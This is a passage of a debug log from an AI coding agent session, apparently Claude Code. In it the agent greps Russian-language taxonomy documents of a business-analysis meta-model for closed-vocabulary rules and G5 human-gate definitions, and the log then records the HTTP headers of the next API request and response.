[INFO]           \"description\": \"Check closed vocabularies and G5 definition\"\n[2026-09-29T07:56:14.267Z] [INFO]         },\n[2026-09-29T07:56:14.267Z] [INFO]         \"caller\": {\n[2026-09-29T07:56:14.267Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:56:14.267Z] [INFO]         }\n[2026-09-29T07:56:14.267Z] [INFO]       }\n[2026-09-29T07:56:14.267Z] [INFO]     ],\n[2026-09-29T07:56:14.267Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:14.267Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:14.267Z] [INFO]       \"cache_creation_input_tokens\": 2638,\n[2026-09-29T07:56:14.267Z] [INFO]       \"cache_read_input_tokens\": 58169,\n[2026-09-29T07:56:14.267Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:14.267Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:14.267Z] [INFO]         \"ephemeral_1h_input_tokens\": 2638\n[2026-09-29T07:56:14.267Z] [INFO]       },\n[2026-09-29T07:56:14.267Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:56:14.267Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:14.267Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:14.267Z] [INFO]     },\n[2026-09-29T07:56:14.267Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:14.267Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:14.267Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:14.267Z] [INFO]   },\n[2026-09-29T07:56:14.267Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:14.267Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"uuid\": \"02aee317-cb0a-43a0-bda1-8c4dcb01603a\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:14.261Z\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"request_id\": \"req_011CfXNaDxi6e8R5QuxSu55r\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:14.267Z] [INFO]     \"toolu_01Kuk9nu8LwWo8AFxzwvBXXg\": {\n[2026-09-29T07:56:14.267Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn -i '\u0437\u0430\u043a\u0440\u044b\u0442.*\u0441\u043b\u043e\u0432\u0430\u0440\\\\|\u0441\u043b\u043e\u0432\u0430\u0440.*\u0437\u0430\u043a\u0440\u044b\u0442\\\\|\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\\\|closed' *.md skill-taxonomy/*.md operation-taxonomy/*.md 2>/dev/null | head -6; grep -rn '`G5`\\\\s*|\\\\|^| `G5`\\\\|G5 \u2014\\\\|`G5` \u2014' . | head -3\",\n[2026-09-29T07:56:14.267Z] [INFO]       \"description\": \"Check closed vocabularies and G5 definition\"\n[2026-09-29T07:56:14.267Z] [INFO]     }\n[2026-09-29T07:56:14.267Z] [INFO]   }\n[2026-09-29T07:56:14.267Z] [INFO] }\n[2026-09-29T07:56:15.894Z] [INFO] {\n[2026-09-29T07:56:15.894Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"message\": {\n[2026-09-29T07:56:15.894Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:56:15.894Z] [INFO]     \"content\": [\n[2026-09-29T07:56:15.894Z] [INFO]       {\n[2026-09-29T07:56:15.894Z] [INFO]         \"tool_use_id\": \"toolu_01Kuk9nu8LwWo8AFxzwvBXXg\",\n[2026-09-29T07:56:15.894Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:56:15.894Z] [INFO]         \"content\": \"10-theory.md:46:| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:48:| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:114:| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n20-taxonomy.md:31:| `T-1` | \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435. |\\n20-taxonomy.md:137:\u043f\u043e\u043b\u044f `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`EP-R1`,\\n20-taxonomy.md:244:| `GT-2` | \u0413\u0435\u0439\u0442 `fail-closed`: \u043d\u0435\u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442, \u0430 \u043d\u0435 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c. |\\n./operation-taxonomy/20-taxonomy.md:134:| `OP-ASM-05` | `select-option` | \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u043e\u0434\u0438\u043d \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u043c\u0438 | \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u0443\u0441\u0442\u043e | `G5` |\\n./operation-taxonomy/20-taxonomy.md:148:| `assess` | 5 | `G1`\u2013`G5` | \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u0430, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0432\u044b\u0431\u043e\u0440\u0430 |\\n./process-taxonomy/10-theory.md:205:| `AE-2` | \u041d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 (\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c, \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 `approved`, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0432\u043e\u0432\u043d\u0435) \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u044f\u0440\u0443\u0441\u043e\u043c \u043d\u0435 \u043d\u0438\u0436\u0435 `G5` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\",\n[2026-09-29T07:56:15.894Z] [INFO]         \"is_error\": false\n[2026-09-29T07:56:15.894Z] [INFO]       }\n[2026-09-29T07:56:15.894Z] [INFO]     ]\n[2026-09-29T07:56:15.894Z] [INFO]   },\n[2026-09-29T07:56:15.894Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:15.894Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"uuid\": \"87f83622-3cd0-4fe2-9236-fa3897ce57cb\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:15.889Z\",\n[2026-09-29T07:56:15.894Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:56:15.894Z] [INFO]     \"stdout\": \"10-theory.md:46:| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:48:| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n10-theory.md:114:| `SB-2` | \u041f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f; \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0431\u0435\u0437 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d. |\\n20-taxonomy.md:31:| `T-1` | \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u0430: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435. |\\n20-taxonomy.md:137:\u043f\u043e\u043b\u044f `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`EP-R1`,\\n20-taxonomy.md:244:| `GT-2` | \u0413\u0435\u0439\u0442 `fail-closed`: \u043d\u0435\u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442, \u0430 \u043d\u0435 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c. |\\n./operation-taxonomy/20-taxonomy.md:134:| `OP-ASM-05` | `select-option` | \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u043e\u0434\u0438\u043d \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u043c\u0438 | \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u0443\u0441\u0442\u043e | `G5` |\\n./operation-taxonomy/20-taxonomy.md:148:| `assess` | 5 | `G1`\u2013`G5` | \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u0430, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0432\u044b\u0431\u043e\u0440\u0430 |\\n./process-taxonomy/10-theory.md:205:| `AE-2` | \u041d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 (\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c, \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 `approved`, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0432\u043e\u0432\u043d\u0435) \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u044f\u0440\u0443\u0441\u043e\u043c \u043d\u0435 \u043d\u0438\u0436\u0435 `G5` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u0433\u0435\u0439\u0442\u043e\u043c. |\",\n[2026-09-29T07:56:15.894Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:56:15.894Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:56:15.894Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:56:15.894Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:56:15.894Z] [INFO]   }\n[2026-09-29T07:56:15.894Z] [INFO] }\n[2026-09-29T07:56:15.930Z] [STDOUT] [log_6dc7b4] sending request {\n[2026-09-29T07:56:15.935Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:56:15.938Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:15.947Z] [STDOUT]   options: {\n[2026-09-29T07:56:15.952Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:56:15.954Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:56:15.958Z] [STDOUT]     body: {\n[2026-09-29T07:56:15.962Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:56:15.964Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:56:15.967Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:56:15.970Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:56:15.976Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:56:15.979Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:56:15.984Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:56:15.987Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:56:15.992Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:56:15.996Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:56:16.002Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:56:16.007Z] [STDOUT]       stream: true,\n[2026-09-29T07:56:16.016Z] [STDOUT]     },\n[2026-09-29T07:56:16.019Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:56:16.023Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:56:16.029Z] [STDOUT]       aborted: false,\n[2026-09-29T07:56:16.043Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:56:16.049Z] [STDOUT]       onabort: null,\n[2026-09-29T07:56:16.055Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:56:16.066Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:56:16.084Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:56:16.093Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:56:16.113Z] [STDOUT]     },\n[2026-09-29T07:56:16.118Z] [STDOUT]     stream: true,\n[2026-09-29T07:56:16.120Z] [STDOUT]   },\n[2026-09-29T07:56:16.138Z] [STDOUT]   headers: {\n[2026-09-29T07:56:16.184Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:56:16.195Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:56:16.198Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:56:16.199Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:56:16.201Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:56:16.203Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:56:16.207Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:56:16.210Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:56:16.213Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:56:16.215Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1595\",\n[2026-09-29T07:56:16.217Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:56:16.219Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:56:16.222Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:16.224Z] [STDOUT]     \"x-client-request-id\": \"e3c92431-8813-45e9-bf4e-9eae0f3739f5\",\n[2026-09-29T07:56:16.226Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:56:16.228Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:56:16.230Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:56:16.232Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:56:16.235Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:56:16.237Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:56:16.239Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:56:16.241Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:56:16.242Z] [STDOUT]   },\n[2026-09-29T07:56:16.244Z] [STDOUT] }\n[2026-09-29T07:56:16.809Z] [STDOUT] [log_6dc7b4, request-id: \"req_011CfXNam7i9nWEgywLpcZW4\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 882ms\n[2026-09-29T07:56:16.812Z] [STDOUT] [log_6dc7b4] response start {\n[2026-09-29T07:56:16.815Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:16.826Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:16.831Z] [STDOUT]   headers: {\n[2026-09-29T07:56:16.834Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:16.843Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:16.848Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:16.854Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:16.856Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:16.864Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:16.869Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:16.873Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:16.879Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:16.883Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:16.887Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:16.889Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:16.893Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:16.898Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:16.902Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:16.906Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:16.910Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:16.914Z] [STDOUT]     \"cf-ray\": \"a4296e27996c5d90-FRA\",\n[2026-09-29T07:56:16.918Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:56:16.922Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:16.926Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:16.933Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:16.936Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:56:16 GMT\",\n[2026-09-29T07:56:16.939Z] [STDOUT]     \"request-id\": \"req_011CfXNam7i9nWEgywLpcZW4\",\n[2026-09-29T07:56:16.947Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:56:16.950Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:16.955Z] [STDOUT]     traceresponse: \"00-9939f21cd595489f555385c9af14d972-8ba08898d82e1f51-01\",\n[2026-09-29T07:56:16.959Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:16.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:56:16.965Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:16.968Z] [STDOUT]   },\n[2026-09-29T07:56:16.973Z] [STDOUT]   durationMs: 882,\n[2026-09-29T07:56:16.978Z] [STDOUT] }\n[2026-09-29T07:56:16.982Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:56:16.984Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:56:16 GMT\",\n[2026-09-29T07:56:16.989Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:17.001Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:17.005Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:56:17.010Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:17.012Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:17.015Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:17.021Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:56:17.025Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:17.029Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:17.033Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:17.042Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:17.046Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:17.050Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:17.054Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:17.059Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:17.065Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:17.070Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:17.074Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:17.078Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:17.081Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:17.083Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:17.089Z] [STDOUT]   \"request-id\": \"req_011CfXNam7i9nWEgywLpcZW4\",\n[2026-09-29T07:56:17.102Z] [STDOUT]   \"traceresponse\": \"00-9939f21cd595489f555385c9af14d972-8ba08898d82e1f51-01\",\n[2026-09-29T07:56:17.108Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:17.116Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:17.123Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:56:17.136Z] 